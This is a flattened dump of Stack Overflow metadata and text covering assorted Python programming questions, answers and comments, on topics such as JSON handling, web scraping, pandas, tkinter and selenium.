has body: what I have: [{'model': 're_catalogue.component', 'pk': 1, 'fields': {'name': 'Solar modules', 'name_el': 'Φωτοβολταικά πλαίσια', 'name_de': 'Solarmodul'}}, {'model': 're_catalogue.component', 'pk': 2, 'fields': {'name': 'DC cables', 'name_el': 'DC καλώδια', 'name_de': 'DC-Kabel'}}, {'model': 're_catalogue.component', 'pk': 3, 'fields': {'name': 'DC combiner boxes', 'name_el': 'DC πίνακες', 'name_de': 'DC-Anschlussgehäuse'}}] for i in range (0,20): print(d[i]) The output {'model': 're_catalogue.component', 'pk': 1, 'fields': {'name': 'Solar modules', 'name_el': 'Φωτοβολταικά πλαίσια', 'name_de': 'Solarmodul'}} {'model': 're_catalogue.component', 'pk': 2, 'fields': {'name': 'DC cables', 'name_el': 'DC καλώδια', 'name_de': 'DC-Kabel'}} {'model': 're_catalogue.component', 'pk': 3, 'fields': {'name': 'DC combiner boxes', 'name_el': 'DC πίνακες', 'name_de': 'DC-Anschlussgehäuse'}} {'model': 're_catalogue.component', 'pk': 4, 'fields': {'name': 'Inverters', 'name_el': 'Μετατροπείς', 'name_de': 'Wechselrichter'}} {'model': 're_catalogue.component', 'pk': 5, 'fields': {'name': 'AC cables', 'name_el': 'ΑC καλώδια', 'name_de': 'AC-Kabel'}} {'model': 're_catalogue.component', 'pk': 6, 'fields': {'name': 'AC combiner boxes', 'name_el': 'AC πίνακες', 'name_de': 'AC-Anschlussgehäuse'}} what I need is a json file that includes only the 'name' and 'name_el' like the following: { "Solar modules": "Φωτοβολταικά πλαίσια", "DC cables": "DC καλώδια", } Thank you for any help. At the same time I am trying to solve it as well.
type: Question
has answer: http://stackoverflow.com/a/49480458
has answer: http://stackoverflow.com/a/49480433
has comment: http://stackoverflow.com/comment/85963573
tagged with: python
tagged with: dictionary
possible better answer: http://stackoverflow.com/a/49480456
has comment: http://stackoverflow.com/comment/85963435
has title: python how to slice a dictionary
has answer: http://stackoverflow.com/a/49480456
accepted answer: http://stackoverflow.com/a/49480433
type: AnsweredQuestion
score: 0
answer count: 3

http://stackoverflow.com/comment/86204511
type: AnswerComment
comment on: http://stackoverflow.com/a/49598537
has text: @anyways to return the top score and the corresponding features ? or feature ?
score: 0
type: Comment

http://stackoverflow.com/a/49493240
type: AcceptedAnswer
type: Answer
has body: I solved it with this with open("Output.pdf", "wb") as output_file: cursor.execute("SELECT TOP 1 RawDocument FROM test.PDFs") ablob = cursor.fetchone() output_file.write(ablob[0]) Got the answer from a similar question here: Writing blob from SQLite to file using Python
score: 2
answers question: http://stackoverflow.com/q/49491469
accepted answer of: http://stackoverflow.com/q/49491469
downvote count: 0
upvote count: 2

http://stackoverflow.com/q/49468446
tagged with: python
has body: The following script which retrieves images and text from a webpage. So far the script's output is similar to the original page with some image size and CSS modifications. Instead of having each item in a different row and a single column I would like each row in the table to be filled with as many items / columns as possible until the end of the row and fill the next row with and so one so that the output html page presents a full page and table with multiple columns and rows rather than just a single column and multiple rows. Any help would be greatly appreciated. from bs4 import BeautifulSoup import requests urldes = "https://www.johnpyeauctions.co.uk/lot_list.asp?saleid=4764&siteid=1" # add header mozila_agent = 'Mozilla/5.0 (Windows NT 6.3; Win64; x64)\ AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36' headers = {'User-Agent': mozila_agent} r = requests.get(urldes, headers=headers) soup = BeautifulSoup(r.content, "lxml") ############################################################ the_whole_table = soup.find('table', width='97%') datalist = [] for tr in the_whole_table.find_all('tr')[1:]: # you want to start from the 1st item not the 0th so [1:] # Because the first is the thead i.e. Lot no, Picture, Lot Title... index_num = tr.find('td', width='8%') picture_link = index_num.next_sibling.a['data-img'] text_info = tr.find('td', width='41%') current_bid = tr.find('td', width='13%') time_left = tr.find('td', width='19%') datalist.append([index_num.text, picture_link, text_info.text, current_bid.text, time_left.text]) # for pic do ... print(picture_link) as for partial text only first 20 # characters index = datalist[0][0] picture = datalist[0][1] info = datalist[0][2] bid = datalist[0][3] time = datalist[0][4] df = ['Index Number', 'Picture', 'Informational text', 'Current BID', 'Time Left now'] theads = BeautifulSoup(' ', 'lxml') thekeys = BeautifulSoup(' ', 'html.parser') for i in df: tag = theads.new_tag('th') tag.append(i) thekeys.thead.…
tagged with: css
score: 0
has comment: http://stackoverflow.com/comment/85952277
answer count: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/85964300
tagged with: beautifulsoup
type: Question
has title: Reorganize scraped python indexed data into html table
tagged with: python-3.x
type: UnansweredQuestion

http://stackoverflow.com/a/49521407
score: 0
answers question: http://stackoverflow.com/q/49521349
has body: Your indentation is off as the error implies. Python uses whitespace. For example def session(): sesh = requests.session() sesh.headers = { 'Origin':'https://www.sneakerdistrict.com', 'Referer':'https://www.sneakerdistrict.com/wotherspoon/', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36' } that would be the appropriate indent for the session function. Just add spaces, the accepted standard is 4 spaces.
type: Answer

http://stackoverflow.com/comment/85926570
has text: Copy and paste the code into your python interpreter, and it should work. Check your file for hidden characters or tabs.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49461207

http://stackoverflow.com/comment/86072625
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49531532
type: Comment
has text: it's 13.125.143.173:5000. hmmm dont know where that ip is from...

http://stackoverflow.com/comment/85886705
has text: @cᴏʟᴅsᴘᴇᴇᴅ. OP has a valid point here. The other question is not a very good duplicate. OP is not aware of the fact that the syntax is actually equivalent to `object.__call__(Cars, ...)`, which calls `Cars.__new__` and passes the result to `__init__`, and the other question is not really about that.
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/49442025

http://stackoverflow.com/q/49588423
accepted answer: http://stackoverflow.com/a/49589474
has comment: http://stackoverflow.com/comment/86186650
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49589474
score: 1
has comment: http://stackoverflow.com/comment/86184710
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86184761
tagged with: python-3.x
tagged with: nonetype
tagged with: if-statement
has comment: http://stackoverflow.com/comment/86184601
has comment: http://stackoverflow.com/comment/86184707
downvote count: 0
tagged with: input
answer count: 1
tagged with: python
has title: Ending input() by "if ... is not None" using Python3.6
has body: I'm very new to Python. I'm trying to make a todo-list (a txt file) that I can then add stuff to. I'm struggling with the correct method of making the script stop when I'm done entering things. I've tried different ways of making while loops and if statements, but the script always either just stops or goes on forever. I think the problem might lie with me assigning "not None" to a changing variable, but I'm not sure. This is my code: import time from datetime import date todo_file = open(f"ToDos_{date.today()}", 'a') todo_file.write(input("What do you need to do tomorrow? ")) todo_file.write("\n") todo = input("What else? ") if todo is not None: todo_file.write(todo) todo_file.write("\n") else: pass todo_file.close() Any other criticisms to how I wrote this are also very welcome.

http://stackoverflow.com/comment/86031221
score: 1
has text: Everything looks right from my perspective. I would suspect the json file you're using. Does `feature.id` exist in that file?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49470432

http://stackoverflow.com/q/49500395
upvote count: 1
has body: I am trying to make a program to randomly assign each day 2 topics for a project. Can anyone help identify the error in this code/ explain how i'd go about doing this. import random x=0 days_ahead = 30 sting_array = [ 'Respiration', 'Microbiology', 'Population size and ecosystems', 'Human Impact on the environment', 'Sexual Reproduction in humans', 'Sexual Reproduction in plants', 'Inheritance', 'Variation and evolution', 'Application of reproduction and genetics', 'Homeostasis', 'nervous system', 'chemical elements and biological compounds', 'cell structure and organisation', 'cell membrane and transport', 'Enzymes', 'Nucleic Acids and Their functions' 'The cell cycle and cel division', 'Classification and biodiversity', 'Adaptations for gas exchange', 'Adapt for trans animals', 'Adapt for trans plants', 'adapts for nutrition', ] lele = [ 'Rates of reaction', 'Equilibrium', 'Acids and Bases', 'Buffers and neutrilisation', 'Enthalpy and Entropy', 'Redox and Electrode Potentials', 'Transition Metals', 'Periodicity', 'Enthalpy', 'Reactivity Trends', 'Reaction rates and equilibrium', 'Alkanes', 'Alkenes', 'Alcohols', 'Haloalkanes', 'Organic Synthesis', 'Aromatic Chemistry', 'Carbonyls and Carboxylic Acids', 'Amine, aminio acid and proteins', 'Chromatography and Spectroscopy'] while x&lt; 30: x+=1 pee_pee = random.choice(sting_array) wee_wee= random.choice(sting_array) sting_array.remove(wee_wee) sting_array.remove(pee_pee) oui_oui = pee_pee + " and " + wee_wee print ("day " +str(x)+ " study " + (oui_oui)) if x==30: print ("Render complete, terminate") I was going to copy the same code for sting_array for the lele- to clarify so that each day would be assigned 2 topics of biology and 2 of chemistry. However before I get that far list.remove(x) error appears! ANY methods on how to randomly select string items and then remove them from the list would be very helpful thnx. ben.
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86005161
has title: List.remove(x) not in list? How to remove object from array once it has been selected?
has comment: http://stackoverflow.com/comment/86004978
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49500438
tagged with: python
has comment: http://stackoverflow.com/comment/86005013
score: 0
tagged with: random
has comment: http://stackoverflow.com/comment/86005094
answer count: 1

http://stackoverflow.com/q/49508161
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/86020770
score: 1
tagged with: python
has comment: http://stackoverflow.com/comment/86020768
type: Question
has comment: http://stackoverflow.com/comment/86020499
has comment: http://stackoverflow.com/comment/86020468
type: UnansweredQuestion
answer count: 1
downvote count: 0
upvote count: 1
has body: I have a function that writes some data to file when. I run it in python interpreter and it works just as expected but when I run it in unittest it just creates the file and writes nothing in it. Here is my code: def write(text): with open('test.db', 'a') as db: db.write(text) When I execueted it in python interpreter test.db updated, but when I run it from unittest not it not works and nothing added to test.db. I need to have changes that come from unittest how could I fix it? Here is full code: # dbwrapper/file.py class Status: UP = 'up' DOWN = 'down' class FileWrapper: def __init__(self, path): self.path = path def get_service_status(self, service_id): for line in self._reverse_readline(): service_id, time_string, status = line.split('#') service_id = service_id.strip().replace('\\n', '\n').replace('\@', '#') time_string = time_string.strip() status = status.strip() if service_id == self.service_id: return status return Status.UP def set_service_status(self, service_id, status): if status not in self.status_list: raise InvalidStatus with open(self.path, 'a') as db: db.write( '#service_id: %(service_id)s #time: %(time)s #status: %(status)s'%{ 'service_id': str(service_id).replace('\n', '\\n').replace('#', '\@'), 'time': datetime.utcnow(), 'status': status } ) print '#service_id: %(service_id)s #time: %(time)s #status: %(status)s'%{ 'service_id': str(service_id).replace('\n', '\\n').replace('#', '\@'), 'time': datetime.utcnow(), 'status': status } def _reverse_readline(self, buf_size=8192): """a generator that returns the lines of a file in reverse order""" with open(self.path, 'w+') as fh: segment = None offset = 0 fh.seek(0, os.SEEK_END) file_size = remaining_size = fh.tell() while remaining_size &gt; 0: offset = min(file_size, offset + buf_size) fh.seek(file_size - offset) buffer = fh.read(min(remaining_size, buf_size)) remaining_size -= buf_size lines = buffer.split('\n') # the first line of the buffer is probably not a complete line so # we'll save it and appe…
tagged with: unit-testing
has answer: http://stackoverflow.com/a/49508489
favorite count: 0
has title: Write to file not work in unit test

http://stackoverflow.com/a/49569216
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86147738
has comment: http://stackoverflow.com/comment/86147972
has comment: http://stackoverflow.com/comment/86147480
has comment: http://stackoverflow.com/comment/86146580
has comment: http://stackoverflow.com/comment/86147159
type: Answer
has comment: http://stackoverflow.com/comment/86146529
has body: What's the issue with regular string sorting algorithm? A = [ 'aaaa 4b 127b.txt', 'aaaa 4b 129 (125c)b.txt', 'aaaa 4b 128b.txt', 'aaaa 4b 129 (123c)b.txt', 'aaaa 4b 129b.txt', 'aaaa 4b 129 (127c)b.txt', 'aaaa 4b 129 (124c)b.txt', 'aaaa 4b 129 (126c)b.txt', ] A.sort() print '\n'.join(A) prints aaaa 4b 127b.txt aaaa 4b 128b.txt aaaa 4b 129 (123c)b.txt aaaa 4b 129 (124c)b.txt aaaa 4b 129 (125c)b.txt aaaa 4b 129 (126c)b.txt aaaa 4b 129 (127c)b.txt aaaa 4b 129b.txt This is because regular sorting algorithm uses __lt__()(less than) method of string for comparison between the string elements in the list, which results in the file names being sorted in the lexicographical order (aka dictionary order). The whitespace ' ' follows 129 is less than 'b' that follows 129 in another string. Among strings with parentheses, since they all have ' (12' following 129, the next character, 5, 3, 7, 4, and 6, is used for comparison.
answers question: http://stackoverflow.com/q/49569119
score: 1

algorithm
tags question: http://stackoverflow.com/q/49533620
tags question: http://stackoverflow.com/q/49483712
tags question: http://stackoverflow.com/q/49458371
tags question: http://stackoverflow.com/q/49440478
type: Tag
tags question: http://stackoverflow.com/q/49478361
tag name: algorithm
tags question: http://stackoverflow.com/q/49548040
tags question: http://stackoverflow.com/q/49591038
tags question: http://stackoverflow.com/q/49547478
tags question: http://stackoverflow.com/q/49524937
tags question: http://stackoverflow.com/q/49590693
tags question: http://stackoverflow.com/q/49469513
tags question: http://stackoverflow.com/q/49591876
tags question: http://stackoverflow.com/q/49478867
tags question: http://stackoverflow.com/q/49597584
tags question: http://stackoverflow.com/q/49462195
tags question: http://stackoverflow.com/q/49491355
tags question: http://stackoverflow.com/q/49584713
tags question: http://stackoverflow.com/q/49589941
tags question: http://stackoverflow.com/q/49462442
tags question: http://stackoverflow.com/q/49531332
tags question: http://stackoverflow.com/q/49538350
tags question: http://stackoverflow.com/q/49483336
tags question: http://stackoverflow.com/q/49456415
tags question: http://stackoverflow.com/q/49599575
tags question: http://stackoverflow.com/q/49521271
tags question: http://stackoverflow.com/q/49546241
tags question: http://stackoverflow.com/q/49518496
tags question: http://stackoverflow.com/q/49566288
tags question: http://stackoverflow.com/q/49465795

http://stackoverflow.com/a/77224731
answers question: http://stackoverflow.com/q/49550182
has body: As pointed out by the author, simply changing the name of a custom layer is not enough if you wish to use said layer multiple times. Here is a temporary but very viable solution of mine. Please feel free to copy/paste: def name_custom_activation(activation): &quot;&quot;&quot; Currently, the Tensorflow library does not provide auto incrementation for custom layer names. Tensorflow Graphs requires each layer to have a unique name. Manually incrementing layer names is annoying. The following trick is the best method to change a layer name. It is especially useful when using tf.keras.utils.plot_model to look at synergistic activation models. &quot;&quot;&quot; class_name = tf.keras.layers.Activation.__name__ tf.keras.layers.Activation.__name__ = f'Activation_{activation.__name__}' activation_layer = tf.keras.layers.Activation(activation) tf.keras.layers.Activation.__name__ = class_name return activation_layer When plotting your model's graph, it looks like this: def my_custom_activation(x): return ... # Create your own activation function. def create_model(): return ... # Add your own model, which uses your custom activation. model = create_model() tf.keras.utils.plot_model(model, show_shapes=True)
type: Answer
score: 0

http://stackoverflow.com/comment/85934247
has text: I would if I could, but for some reason I am not able to mark it as the answer.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/49463596
type: Comment

http://stackoverflow.com/q/49595144
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/86197637
type: Question
has comment: http://stackoverflow.com/comment/86197688
tagged with: circular-list
has body: I have defined by Circular Linked List like this. class Link(object): def __init__ (self, data, next = None): self.data = data self.next = next class CircularList(object): def __init__ ( self ): self.first = Link(None, None) self.first.next = self.first def insert_first ( self, item ): new_link = Link(item) new_link.next = self.first self.first = new_link def __iter__(self): current = self.first first = current while current.next != first: yield current current = current.next def __str__(self): return str([Link.data for Link in self]) def __repr__(self): return self.__str__() And I insert item to my list a = CircularList() a.insert_first(4) a.insert_first(5) I want to have a string representation of my circular list, but it looks like __iter__() is looping infinitely. I can I correctly define my iterator, and get a correct string representation?
has title: Circular linked list code is getting into infinite loop
tagged with: python
accepted answer: http://stackoverflow.com/a/49595279
has comment: http://stackoverflow.com/comment/86197626
has answer: http://stackoverflow.com/a/49595279
has comment: http://stackoverflow.com/comment/86197604
type: AnsweredQuestion
tagged with: iterator
tagged with: linked-list
tagged with: oop
score: 1

http://stackoverflow.com/a/49599715
has body: You can store the index of the current line and thus get the next n lines: a = """ Some lines I do not want ----- -------- -- I need this line I need this line also Again few lines i do not want """ lines = a.split("\n") for index, line in enumerate(lines): if line.startswith("----"): print lines[index+1] print lines[index+2] You may want to check for IndexErrors though.
answers question: http://stackoverflow.com/q/49599623
type: Answer
score: 0

http://stackoverflow.com/comment/85927393
type: QuestionComment
score: 0
has text: I think I got it I think I need to add column name and value as a pair to the COLS tuple.
type: Comment
comment on: http://stackoverflow.com/q/49460832

http://stackoverflow.com/q/49537271
has answer: http://stackoverflow.com/a/51065466
has title: PyInstaller app gets caught by SmartScreen
type: UnansweredQuestion
score: 1
answer count: 1
downvote count: 0
has body: I made a program for people at work that simply takes csvs, converts them, and turns them into a csv that can be read by a different program and I have made the program in Python. Everyone here uses Windows so I originally used py2exe to make an exe and it worked fine for everyone. Recently, I made some changes to the code to use the newest Python version which py2exe does not support so I used pyinstaller which worked great. However, when I passed it on to a few people at the office to test it, Windows SmartScreen caught it and the Anti-Virus program quarantined it for 3 hours. Obviously this is not ideal. What can I do to not make SmartScreen catch it? And why would py2exe not trigger the same warnings?
upvote count: 1
tagged with: smartscreen
favorite count: 0
type: Question
tagged with: pyinstaller
tagged with: python

http://stackoverflow.com/comment/86169660
has text: I put a time.sleep but still nothing changed. I cannot see the web source I want by "View Page Source" but I see them by "Inspect". Does this imply anything? And how can a live url helps? Thanks.
type: Comment
comment on: http://stackoverflow.com/a/49580354
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86012287
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49484511
type: Comment
has text: but ts is no where defined in your code. ts = pd.DatetimeIndex(df['Timestamp']) should be defined something like this to use

http://stackoverflow.com/q/49448309
has answer: http://stackoverflow.com/a/49516169
tagged with: mysql
has title: How to connect to mysql-server deployed on compute engine from local computer?
type: Question
has comment: http://stackoverflow.com/comment/85986777
has body: I want to connect to mysql-server deployed on compute engine with mysql workbench or with mysql-client from local computer. How can i do it?. I tried this .I am able to connect from other vm but not from my local computer. I am not able to connect from cloud-shell and app engine as well.
accepted answer: http://stackoverflow.com/a/49516169
answer count: 1
tagged with: google-compute-engine
tagged with: python
type: AnsweredQuestion
score: 0
tagged with: mysql-workbench
tagged with: google-cloud-platform
has comment: http://stackoverflow.com/comment/86037438

http://stackoverflow.com/a/49501060
type: Answer
has comment: http://stackoverflow.com/comment/86006618
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/86006509
has body: The first way creates a pandas.core.groupby.DataFrameGroupBy object, which becomes a pandas.core.groupby.SeriesGroupBy object once you select a specific column from it; It is to this object that the 'apply' method is applied to, hence a series is returned. test.groupby(["key1","key2"])["data1"]#.apply(find_best_ewma) &lt;pandas.core.groupby.SeriesGroupBy object at 0x7fce51fac790&gt; The second way remains a DataFrameGroupBy object. The function you apply to that object selects the column, which means the function 'find_best_ewma' is applied to each member of that column, but the 'apply' method is applied to the original DataFrameGroupBy, hence a DataFrame is returned, the 'magic' is that the indexes of the DataFrame are hence still present.
answers question: http://stackoverflow.com/q/49500560

http://stackoverflow.com/q/49542674
has comment: http://stackoverflow.com/comment/86101421
score: 0
has comment: http://stackoverflow.com/comment/86104352
answer count: 0
tagged with: pandas
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/86105142
type: Question
linked to: http://stackoverflow.com/q/30088006
has title: Extract Nested Json fields from Pandas DF
type: UnansweredQuestion
has body: The JSON file I get is from below code: import jsonpickle import tweepy import pandas as pd consumer_key = "xxxx" consumer_secret = "xxxx" access_key = "xxxx" access_secret = "xxxx" #Pass our consumer key and consumer secret to Tweepy's user authentication handler auth = tweepy.OAuthHandler(consumer_key, consumer_secret) #Pass our access token and access secret to Tweepy's user authentication handler auth.set_access_token(access_key, access_secret) #Creating a twitter API wrapper using tweepy api = tweepy.API(auth) #This is what we are searching for searchQuery = '#machinelearning OR "machine learning"' #Maximum number of tweets we want to collect maxTweets = 1 #The twitter Search API allows up to 100 tweets per query tweetsPerQry = 100 #new_tweets = api.search(q=query,count=1) tweetCount = 0 #Open a text file to save the tweets to with open('test_ml1.json', 'w') as f: #Tell the Cursor method that we want to use the Search API (api.search) #Also tell Cursor our query, and the maximum number of tweets to return for tweet in tweepy.Cursor(api.search,q=searchQuery,tweet_mode='extended').items(maxTweets) : #Write the JSON format to the text file, and add one to the number of tweets we've collected f.write(jsonpickle.encode(tweet._json, unpicklable=False) + '\n') tweetCount += 1 #Display how many tweets we have collected print("Downloaded {0} tweets".format(tweetCount)) I have a JSON file which you get when you download the tweets using Twitter API's. I have stored these tweets in a df using below code as the JSON has nested dictionaries(Loading a file with more than one line of JSON into Python&#39;s Pandas): import pandas as pd # read the entire file into a python array with open('your.json', 'rb') as f: data = f.readlines() # remove the trailing "\n" from each line data = map(lambda x: x.rstrip(), data) # each element of 'data' is an individual JSON object. # i want to convert it into an *array* of JSON objects # which, in and of itself, is one large JSON object # bas…
tagged with: python

http://stackoverflow.com/a/49482928
answers question: http://stackoverflow.com/q/49482824
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49482824
has comment: http://stackoverflow.com/comment/86019378
has body: The rad variable is reassigned each time through the loop, however, tkinter creates a new radiobutton each time through the loop. They all use the same variable radVar, which makes them implicitly related. They all have different value attributes, so this makes them configured to work well as a radiobutton group. To answer the question as to how to interact with the button after created, it often recommended to create a dictionary to hold the widgets. For example, the loop could be restructured as follows to give later access to the radio buttons. radio = {} for col in colors: radio[col] = tk.Radiobutton(win, text=colors[col], variable=radVar, value=col, command=radCall) radio[col].grid(column=col, row=5, sticky=tk.W) # Then later you can reconfigure a radiobutton text or something radio['Red'].configure(text='New text on radio button')
type: Answer
has comment: http://stackoverflow.com/comment/86009173
score: 0

http://stackoverflow.com/q/49555976
score: 0
has title: Groupby apply method on a column not returning correct results
answer count: 0
type: Question
has comment: http://stackoverflow.com/comment/86119544
tagged with: dask
has comment: http://stackoverflow.com/comment/86119859
type: UnansweredQuestion
has body: I have the following dask dataframe containing among others the following columns: raw_data.head() http_user dst dst_port 0 user1 1.1.1.1 80 1 user1 2.2.2.2 443 2 user2 3.3.3.3 80 3 user3 4.4.4.4 443 4 user2 5.5.5.5 80 I do the following action groups = raw_data.groupby(['http_user', 'dst', 'dst_port']) my_feature = groups.http_method.apply(lambda x: 'CONNECT' in x.values', meta=('name', '?') Trying to calculate my_feature.head() gives me very strange results http_user dst dst_port 10 - "domain_name_string1" False "domain_name_string2" False "domain_name_string3" False "domain_name_string4" False It seems like groupby apply mixes columns. Applying the same thing on the dataframes after computing works as it should Unfortunatelly I haven't been able to reproduce it locally. Also if I apply common aggregations on the column like groups.http_method.max().compute() produces correct results. With correct values of http_user dst and dst_port raw_data contains approx 2.5K rows. Is this a bug? Anybody seen this behaviour?
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/86127580

http://stackoverflow.com/comment/85958203
type: Comment
comment on: http://stackoverflow.com/q/49463996
type: QuestionComment
has text: Will, thank you.I have modified host file, and disable a lot of ms addresses. So I think this is a reason of my problem. Name of computer is buk.
score: 0

http://stackoverflow.com/a/49478559
has comment: http://stackoverflow.com/comment/85960698
has body: Try the following approach: def my_read_json(filename, **kwargs): # ... return df5 df = pd.concat([my_read_json(f) for f in files], ignore_index=True)
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85960485
has comment: http://stackoverflow.com/comment/85960919
has comment: http://stackoverflow.com/comment/85960724
has comment: http://stackoverflow.com/comment/85960335
answers question: http://stackoverflow.com/q/49478454
score: 0
accepted answer of: http://stackoverflow.com/q/49478454
type: Answer
has comment: http://stackoverflow.com/comment/85960409

dayofweek
type: Tag
tag name: dayofweek
tags question: http://stackoverflow.com/q/49514065

http://stackoverflow.com/q/49506507
tagged with: perl
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/49506931
score: 0
has title: run perl command in python file
answer count: 1
tagged with: shell
has comment: http://stackoverflow.com/comment/86017055
has body: import subprocess result=subprocess.Popen(['perl','Hello.pl'],stdout=subprocess.PIPE,shell=True) out,err=result.communicate() print out This is my program , i am trying to run a perl program inside a python file . I am using python 2.6v . While running this file it's not giving anything . I am new to python . Can anyone help ?
type: Question

http://stackoverflow.com/comment/86125264
comment on: http://stackoverflow.com/q/49557961
score: 1
type: Comment
type: QuestionComment
has text: I can't see how that view would cause that traceback. Perhaps a different view is handling the request, or you have forgotten to save code or restart your server, so you are not running the code you think you are.

http://stackoverflow.com/comment/86335678
score: 0
comment on: http://stackoverflow.com/q/49581072
has text: My initial thought is that this isn't really supported by netcdf/xarray. There really isn't a logical way to store arrays of distinct strings as attributes (it is feasible on variables). What does `ncdump -h asdf.nc` yield?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/86002079
type: QuestionComment
has text: It seems worth it. In the worst case, the issue will get closed and you may still get an idea why you get such results.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49485426

http://stackoverflow.com/q/49549585
has comment: http://stackoverflow.com/comment/86106424
score: -1
has answer: http://stackoverflow.com/a/49549704
tagged with: scipy
favorite count: 0
has comment: http://stackoverflow.com/comment/113012541
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/86106396
type: UnansweredQuestion
has body: I have 4 sparse matrixes with following dimensional: X_train_content_sparse.shape (62313, 100000) X_train_title_sparse.shape (62313, 100000) X_train_author_sparse.shape (62313,31540) X_train_time_features_sparse.shape (62313, 7) And then I stack arrays in sequence horizontally. X_train_sparse = hstack([X_train_content_sparse, X_train_title_sparse, X_train_author_sparse, X_train_time_features_sparse]) After that I transform this array of sparse matrixes into a sparse matrix. I apply csr_matrix(X_train_sparse) and I receive such error: ValueError: The truth value of an array with more than one element is ambiguous. Use a.any() or a.all(). &gt;X_train_sparse array([ &lt;62313x100000 sparse matrix of type '&lt;class 'numpy.float64'&gt;' with 68519885 stored elements in Compressed Sparse Row format&gt;, &lt;62313x100000 sparse matrix of type '&lt;class 'numpy.float64'&gt;' with 795892 stored elements in Compressed Sparse Row format&gt;, &lt;62313x31540 sparse matrix of type '&lt;class 'numpy.uint8'&gt;' with 62313 stored elements in Compressed Sparse Row format&gt;, &lt;62313x7 sparse matrix of type '&lt;class 'numpy.int64'&gt;' with 176241 stored elements in Compressed Sparse Row format&gt;], dtype=object)
downvote count: 2
answer count: 1
tagged with: python
linked to: http://stackoverflow.com/q/10062954
upvote count: 1
has title: ValueError: The truth value of an array with more than one element is ambiguous. Use a.any() or a.all() while using csr_matrix

http://stackoverflow.com/a/49539419
has comment: http://stackoverflow.com/comment/86089253
has comment: http://stackoverflow.com/comment/86086990
type: Answer
has comment: http://stackoverflow.com/comment/86089162
has comment: http://stackoverflow.com/comment/86089472
has comment: http://stackoverflow.com/comment/86090492
has comment: http://stackoverflow.com/comment/86086706
has comment: http://stackoverflow.com/comment/86086946
has comment: http://stackoverflow.com/comment/86086596
answers question: http://stackoverflow.com/q/49539273
has body: No, your data should be 4D as the error mentions. You gave input shape equals to (200, 200, 3), meaning that the shape for input X should be (samples, 200, 200, 3). Samples can be any number, but the other two dimensions are fixed. If you got a different error when using a 4D array, you should also include it in your question.
has comment: http://stackoverflow.com/comment/86095095
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86099918
has comment: http://stackoverflow.com/comment/86089547
accepted answer of: http://stackoverflow.com/q/49539273
has comment: http://stackoverflow.com/comment/86089606
score: 0
has comment: http://stackoverflow.com/comment/86089833

http://stackoverflow.com/q/49442444
tagged with: python
has title: Add one property to json in python
has answer: http://stackoverflow.com/a/49442582
has answer: http://stackoverflow.com/a/49442472
answer count: 2
upvote count: 2
score: 1
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/85886670
downvote count: 1
favorite count: 0
type: Question
has body: I have the below json, I want to add one more property: [ { "A": 1, "B": "str" }, { "A": 2, "B": "str2" }, { "A": 3, "B": "str3" } ] So I want something like this: [ { "A": 1, "B": "str", "C": "X" }, { "A": 2, "B": "str2", "C": "X" }, { "A": 3, "B": "str3", "C": "X" } ] What is the best way to do this?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85886689

http://stackoverflow.com/q/49562382
accepted answer: http://stackoverflow.com/a/49562521
has answer: http://stackoverflow.com/a/49562626
possible better answer: http://stackoverflow.com/a/49562626
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/49562521
has body: file output.txt First name: Petar Last Name: Petrovic Age: 32 Country: USA This is some description First name: Nick Last Name: Cave Age: 22 Country: Brasil This is another description How, using a python script can I get the following output: Petar Petrovic 32 USA Nick Cave 22 Brasil So far, i have this #!/bin/python import sys import os import re with open ("output.txt", "r") as myfile: data=myfile.read() I read that I could potentially use a dictionary but don't know how to implement that.
tagged with: python
has comment: http://stackoverflow.com/comment/86133250
has title: Python-Extract values after specific characters and store it in columns
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86132915
has comment: http://stackoverflow.com/comment/86132942

http://stackoverflow.com/q/49570371
score: 0
has comment: http://stackoverflow.com/comment/86150489
has answer: http://stackoverflow.com/a/49586596
tagged with: python
tagged with: macos
has comment: http://stackoverflow.com/comment/86180179
has comment: http://stackoverflow.com/comment/86149224
tagged with: selenium-chromedriver
tagged with: python-3.x
linked to: http://stackoverflow.com/q/47543795
has body: I am using python3 and selenium chrome driver and I want to have the script go to a url click some buttons etc.. which it already does then open a new tab and go to the same url again. I have looked up on how to switch tabs in selenium and this is the line of code I got (note I am using a mac): driver.find_element_­by_tag_name('body').send_keys(Keys.COMMAND + 't') I imported from selenium.webdriver.common.keys import Keys And so whenever I run the script I get this error "Invalid character in identifier" and the by_tag_name in the script gets highlighted red.
type: UnansweredQuestion
answer count: 1
tagged with: selenium
has title: Invalid character in identifier using selenium
duplicate of: http://stackoverflow.com/q/47543795
type: Question

http://stackoverflow.com/comment/86163104
